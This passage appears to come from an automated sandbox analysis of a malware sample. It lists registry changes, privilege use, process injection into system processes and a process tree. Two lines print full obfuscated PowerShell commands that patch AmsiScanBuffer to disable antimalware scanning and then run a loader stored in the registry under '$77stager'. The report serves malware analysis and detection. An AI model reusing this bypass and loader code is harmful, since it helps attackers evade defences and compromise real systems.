Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 29 Jan 2024 21:06:07 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018800C6A6EFFAB"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018800C6A6EFFAB"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018800C6A6EFFAB = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000a8408a7191d78d49839702b8b8640236000000000200000000001066000000010000200000008b419b6c78993ddbd669c238a8d276bcf84dab6af0aa62f60a47f4600fe27fba000000000e8000000002000020000000e7fbace245619daa4776fc4c1591cca5e38cce8a0b12c87c490b29801c91221680000000fb88e86933c069cce7ad92b19aadf70e5ce5c3d953dd62b8cb2fa27bd8d3919b8cf59d879b213aa4ac01dbce46ac01351f80d3877260af8cbc59b8ac68f244c740cc6efea0826ba7b70aecf236415ec65e0ec4e46613ae48ae9f5e94979c219c1fd123feeeebe0d63b4ac3f2d86b5db3941446998e836c521a62f5a2398bdb72400000001099fec7a9d985d8a9908e4a39f1b90a22ecc315e090032f9b4f8114077727cd35105432a76e3f5c4159346fe1953ddb931bae1c27e10c51d4612977a8ac8755	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={1B9F3068-2880-49DA-8415-B6C2DFAAB02A}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe

Modifies registry class 1 IoCs

Processes:

80dcd56f6d8e3324d715736b66858795.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	80dcd56f6d8e3324d715736b66858795.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXE

pid process

5024 PING.EXE
4776 PING.EXE

pid	process
5024	PING.EXE
4776	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

80dcd56f6d8e3324d715736b66858795.exepowershell.exepowershell.EXEdllhost.exepowershell.EXEpowershell.exe

pid	process
5052	80dcd56f6d8e3324d715736b66858795.exe
5052	80dcd56f6d8e3324d715736b66858795.exe
5052	80dcd56f6d8e3324d715736b66858795.exe
4072	powershell.exe
4072	powershell.exe
4284	powershell.EXE
4284	powershell.EXE
4284	powershell.EXE
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1592	powershell.EXE
1592	powershell.EXE
5108	powershell.exe
5108	powershell.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
5108	powershell.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
5108	powershell.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
5108	powershell.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
5108	powershell.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1592	powershell.EXE
1592	powershell.EXE
1844	dllhost.exe
1844	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

80dcd56f6d8e3324d715736b66858795.exe$77.sedsvc.exepowershell.exepowershell.EXEdllhost.exedwm.exepowershell.EXEpowershell.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	5052	80dcd56f6d8e3324d715736b66858795.exe
Token: SeShutdownPrivilege	848	$77.sedsvc.exe
Token: SeDebugPrivilege	4072	powershell.exe
Token: SeDebugPrivilege	4284	powershell.EXE
Token: SeIncreaseQuotaPrivilege	4072	powershell.exe
Token: SeSecurityPrivilege	4072	powershell.exe
Token: SeTakeOwnershipPrivilege	4072	powershell.exe
Token: SeLoadDriverPrivilege	4072	powershell.exe
Token: SeSystemProfilePrivilege	4072	powershell.exe
Token: SeSystemtimePrivilege	4072	powershell.exe
Token: SeProfSingleProcessPrivilege	4072	powershell.exe
Token: SeIncBasePriorityPrivilege	4072	powershell.exe
Token: SeCreatePagefilePrivilege	4072	powershell.exe
Token: SeBackupPrivilege	4072	powershell.exe
Token: SeRestorePrivilege	4072	powershell.exe
Token: SeShutdownPrivilege	4072	powershell.exe
Token: SeDebugPrivilege	4072	powershell.exe
Token: SeSystemEnvironmentPrivilege	4072	powershell.exe
Token: SeRemoteShutdownPrivilege	4072	powershell.exe
Token: SeUndockPrivilege	4072	powershell.exe
Token: SeManageVolumePrivilege	4072	powershell.exe
Token: 33	4072	powershell.exe
Token: 34	4072	powershell.exe
Token: 35	4072	powershell.exe
Token: 36	4072	powershell.exe
Token: SeIncreaseQuotaPrivilege	4072	powershell.exe
Token: SeSecurityPrivilege	4072	powershell.exe
Token: SeTakeOwnershipPrivilege	4072	powershell.exe
Token: SeLoadDriverPrivilege	4072	powershell.exe
Token: SeSystemProfilePrivilege	4072	powershell.exe
Token: SeSystemtimePrivilege	4072	powershell.exe
Token: SeProfSingleProcessPrivilege	4072	powershell.exe
Token: SeIncBasePriorityPrivilege	4072	powershell.exe
Token: SeCreatePagefilePrivilege	4072	powershell.exe
Token: SeBackupPrivilege	4072	powershell.exe
Token: SeRestorePrivilege	4072	powershell.exe
Token: SeShutdownPrivilege	4072	powershell.exe
Token: SeDebugPrivilege	4072	powershell.exe
Token: SeSystemEnvironmentPrivilege	4072	powershell.exe
Token: SeRemoteShutdownPrivilege	4072	powershell.exe
Token: SeUndockPrivilege	4072	powershell.exe
Token: SeManageVolumePrivilege	4072	powershell.exe
Token: 33	4072	powershell.exe
Token: 34	4072	powershell.exe
Token: 35	4072	powershell.exe
Token: 36	4072	powershell.exe
Token: SeDebugPrivilege	4284	powershell.EXE
Token: SeDebugPrivilege	1844	dllhost.exe
Token: SeShutdownPrivilege	316	dwm.exe
Token: SeCreatePagefilePrivilege	316	dwm.exe
Token: SeDebugPrivilege	1592	powershell.EXE
Token: SeDebugPrivilege	5108	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2276	svchost.exe
Token: SeIncreaseQuotaPrivilege	2276	svchost.exe
Token: SeSecurityPrivilege	2276	svchost.exe
Token: SeTakeOwnershipPrivilege	2276	svchost.exe
Token: SeLoadDriverPrivilege	2276	svchost.exe
Token: SeSystemtimePrivilege	2276	svchost.exe
Token: SeBackupPrivilege	2276	svchost.exe
Token: SeRestorePrivilege	2276	svchost.exe
Token: SeShutdownPrivilege	2276	svchost.exe
Token: SeSystemEnvironmentPrivilege	2276	svchost.exe
Token: SeUndockPrivilege	2276	svchost.exe
Token: SeManageVolumePrivilege	2276	svchost.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

$77.sedsvc.exeConhost.exeConhost.exe

pid process

848 $77.sedsvc.exe
848 $77.sedsvc.exe
3424 Conhost.exe
4084 Conhost.exe

pid	process
848	$77.sedsvc.exe
848	$77.sedsvc.exe
3424	Conhost.exe
4084	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

80dcd56f6d8e3324d715736b66858795.execmd.exe$77.WWI Provider Host.exepowershell.EXEdllhost.exelsass.exe

description	pid	process	target process
PID 5052 wrote to memory of 848	5052	80dcd56f6d8e3324d715736b66858795.exe	$77.sedsvc.exe
PID 5052 wrote to memory of 848	5052	80dcd56f6d8e3324d715736b66858795.exe	$77.sedsvc.exe
PID 5052 wrote to memory of 848	5052	80dcd56f6d8e3324d715736b66858795.exe	$77.sedsvc.exe
PID 5052 wrote to memory of 912	5052	80dcd56f6d8e3324d715736b66858795.exe	$77.WWI Provider Host.exe
PID 5052 wrote to memory of 912	5052	80dcd56f6d8e3324d715736b66858795.exe	$77.WWI Provider Host.exe
PID 5052 wrote to memory of 1056	5052	80dcd56f6d8e3324d715736b66858795.exe	$77.Install.exe
PID 5052 wrote to memory of 1056	5052	80dcd56f6d8e3324d715736b66858795.exe	$77.Install.exe
PID 5052 wrote to memory of 1056	5052	80dcd56f6d8e3324d715736b66858795.exe	$77.Install.exe
PID 5052 wrote to memory of 5004	5052	80dcd56f6d8e3324d715736b66858795.exe	cmd.exe
PID 5052 wrote to memory of 5004	5052	80dcd56f6d8e3324d715736b66858795.exe	cmd.exe
PID 5004 wrote to memory of 5024	5004	cmd.exe	PING.EXE
PID 5004 wrote to memory of 5024	5004	cmd.exe	PING.EXE
PID 5004 wrote to memory of 4776	5004	cmd.exe	PING.EXE
PID 5004 wrote to memory of 4776	5004	cmd.exe	PING.EXE
PID 912 wrote to memory of 4072	912	$77.WWI Provider Host.exe	powershell.exe
PID 912 wrote to memory of 4072	912	$77.WWI Provider Host.exe	powershell.exe
PID 4284 wrote to memory of 1844	4284	powershell.EXE	dllhost.exe
PID 4284 wrote to memory of 1844	4284	powershell.EXE	dllhost.exe
PID 4284 wrote to memory of 1844	4284	powershell.EXE	dllhost.exe
PID 4284 wrote to memory of 1844	4284	powershell.EXE	dllhost.exe
PID 4284 wrote to memory of 1844	4284	powershell.EXE	dllhost.exe
PID 4284 wrote to memory of 1844	4284	powershell.EXE	dllhost.exe
PID 4284 wrote to memory of 1844	4284	powershell.EXE	dllhost.exe
PID 4284 wrote to memory of 1844	4284	powershell.EXE	dllhost.exe
PID 4284 wrote to memory of 1844	4284	powershell.EXE	dllhost.exe
PID 4284 wrote to memory of 1844	4284	powershell.EXE	dllhost.exe
PID 4284 wrote to memory of 1844	4284	powershell.EXE	dllhost.exe
PID 1844 wrote to memory of 584	1844	dllhost.exe	winlogon.exe
PID 1844 wrote to memory of 676	1844	dllhost.exe	lsass.exe
PID 1844 wrote to memory of 956	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 316	1844	dllhost.exe	dwm.exe
PID 1844 wrote to memory of 512	1844	dllhost.exe	svchost.exe
PID 676 wrote to memory of 2844	676	lsass.exe	sysmon.exe
PID 1844 wrote to memory of 716	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 844	1844	dllhost.exe	svchost.exe
PID 676 wrote to memory of 2844	676	lsass.exe	sysmon.exe
PID 1844 wrote to memory of 1088	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1108	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1180	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1216	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1268	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1288	1844	dllhost.exe	svchost.exe
PID 676 wrote to memory of 4108	676	lsass.exe	wmiprvse.exe
PID 676 wrote to memory of 4108	676	lsass.exe	wmiprvse.exe
PID 676 wrote to memory of 4108	676	lsass.exe	wmiprvse.exe
PID 676 wrote to memory of 4108	676	lsass.exe	wmiprvse.exe
PID 676 wrote to memory of 4108	676	lsass.exe	wmiprvse.exe
PID 676 wrote to memory of 4108	676	lsass.exe	wmiprvse.exe
PID 676 wrote to memory of 4108	676	lsass.exe	wmiprvse.exe
PID 676 wrote to memory of 4108	676	lsass.exe	wmiprvse.exe
PID 676 wrote to memory of 4108	676	lsass.exe	wmiprvse.exe
PID 676 wrote to memory of 4108	676	lsass.exe	wmiprvse.exe
PID 676 wrote to memory of 4108	676	lsass.exe	wmiprvse.exe
PID 676 wrote to memory of 4108	676	lsass.exe	wmiprvse.exe
PID 1844 wrote to memory of 1316	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1424	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1432	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1500	1844	dllhost.exe	svchost.exe
PID 676 wrote to memory of 2188	676	lsass.exe	svchost.exe
PID 1844 wrote to memory of 1516	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1636	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1696	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1704	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1804	1844	dllhost.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:676

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:584

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:316

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{29ee1cc6-5340-4ac1-810a-27bd7035b933}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1844

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{de891a68-cce4-46ea-8cea-e32fbe04ef3a}
2⤵
PID:1868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1216

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2776

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:SvFBkGvvqaNK{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$WAZySZdQDgdNJN,[Parameter(Position=1)][Type]$hhlxguHdRn)$LevuJyCmaTl=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$LevuJyCmaTl.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$WAZySZdQDgdNJN).SetImplementationFlags('Runtime,Managed');$LevuJyCmaTl.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$hhlxguHdRn,$WAZySZdQDgdNJN).SetImplementationFlags('Runtime,Managed');Write-Output $LevuJyCmaTl.CreateType();}$HEcBJhYsIRWxh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$XNJcDCYpqnMoGl=$HEcBJhYsIRWxh.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vRaiGxMGPNqETvYRHvb=SvFBkGvvqaNK @([String])([IntPtr]);$rzJcSjnxUkTaVFdyXIPUts=SvFBkGvvqaNK @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PWDXlFkKnVf=$HEcBJhYsIRWxh.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$diOhohuAIUZtSU=$XNJcDCYpqnMoGl.Invoke($Null,@([Object]$PWDXlFkKnVf,[Object]('Load'+'LibraryA')));$NARBTZlcHnXnyXhrQ=$XNJcDCYpqnMoGl.Invoke($Null,@([Object]$PWDXlFkKnVf,[Object]('Vir'+'tual'+'Pro'+'tect')));$HTmLMzr=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($diOhohuAIUZtSU,$vRaiGxMGPNqETvYRHvb).Invoke('a'+'m'+'si.dll');$jkaVYFxJXNGpOuXdU=$XNJcDCYpqnMoGl.Invoke($Null,@([Object]$HTmLMzr,[Object]('Ams'+'iSc'+'an'+'Buffer')));$EpFJhcMLjy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NARBTZlcHnXnyXhrQ,$rzJcSjnxUkTaVFdyXIPUts).Invoke($jkaVYFxJXNGpOuXdU,[uint32]8,4,[ref]$EpFJhcMLjy);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$jkaVYFxJXNGpOuXdU,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NARBTZlcHnXnyXhrQ,$rzJcSjnxUkTaVFdyXIPUts).Invoke($jkaVYFxJXNGpOuXdU,[uint32]8,0x20,[ref]$EpFJhcMLjy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1592

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:4340

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DghJHHMgzIMm{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$mYnEObHFVUitkB,[Parameter(Position=1)][Type]$ZZXxGuMCZh)$ptFZaceDNym=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$ptFZaceDNym.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$mYnEObHFVUitkB).SetImplementationFlags('Runtime,Managed');$ptFZaceDNym.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$ZZXxGuMCZh,$mYnEObHFVUitkB).SetImplementationFlags('Runtime,Managed');Write-Output $ptFZaceDNym.CreateType();}$pxoXQYImIWJTe=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$TBCmkQbPVORBQt=$pxoXQYImIWJTe.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$epRVEsNAIKeWNIDcsaO=DghJHHMgzIMm @([String])([IntPtr]);$qgGtancAakPiltSyBQwbXs=DghJHHMgzIMm @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$XypoUROdUvY=$pxoXQYImIWJTe.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$nlABNPBbgPiuJj=$TBCmkQbPVORBQt.Invoke($Null,@([Object]$XypoUROdUvY,[Object]('Load'+'LibraryA')));$dshhBhIONdcTosVzT=$TBCmkQbPVORBQt.Invoke($Null,@([Object]$XypoUROdUvY,[Object]('Vir'+'tual'+'Pro'+'tect')));$swJRaOC=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nlABNPBbgPiuJj,$epRVEsNAIKeWNIDcsaO).Invoke('a'+'m'+'si.dll');$QBHFTaYOxjvmuSxUb=$TBCmkQbPVORBQt.Invoke($Null,@([Object]$swJRaOC,[Object]('Ams'+'iSc'+'an'+'Buffer')));$uWlwBSaJkR=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dshhBhIONdcTosVzT,$qgGtancAakPiltSyBQwbXs).Invoke($QBHFTaYOxjvmuSxUb,[uint32]8,4,[ref]$uWlwBSaJkR);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$QBHFTaYOxjvmuSxUb,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dshhBhIONdcTosVzT,$qgGtancAakPiltSyBQwbXs).Invoke($QBHFTaYOxjvmuSxUb,[uint32]8,0x20,[ref]$uWlwBSaJkR);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1288

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1432

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1108

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1500

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1804

C:\Windows\System32\svchost.exe
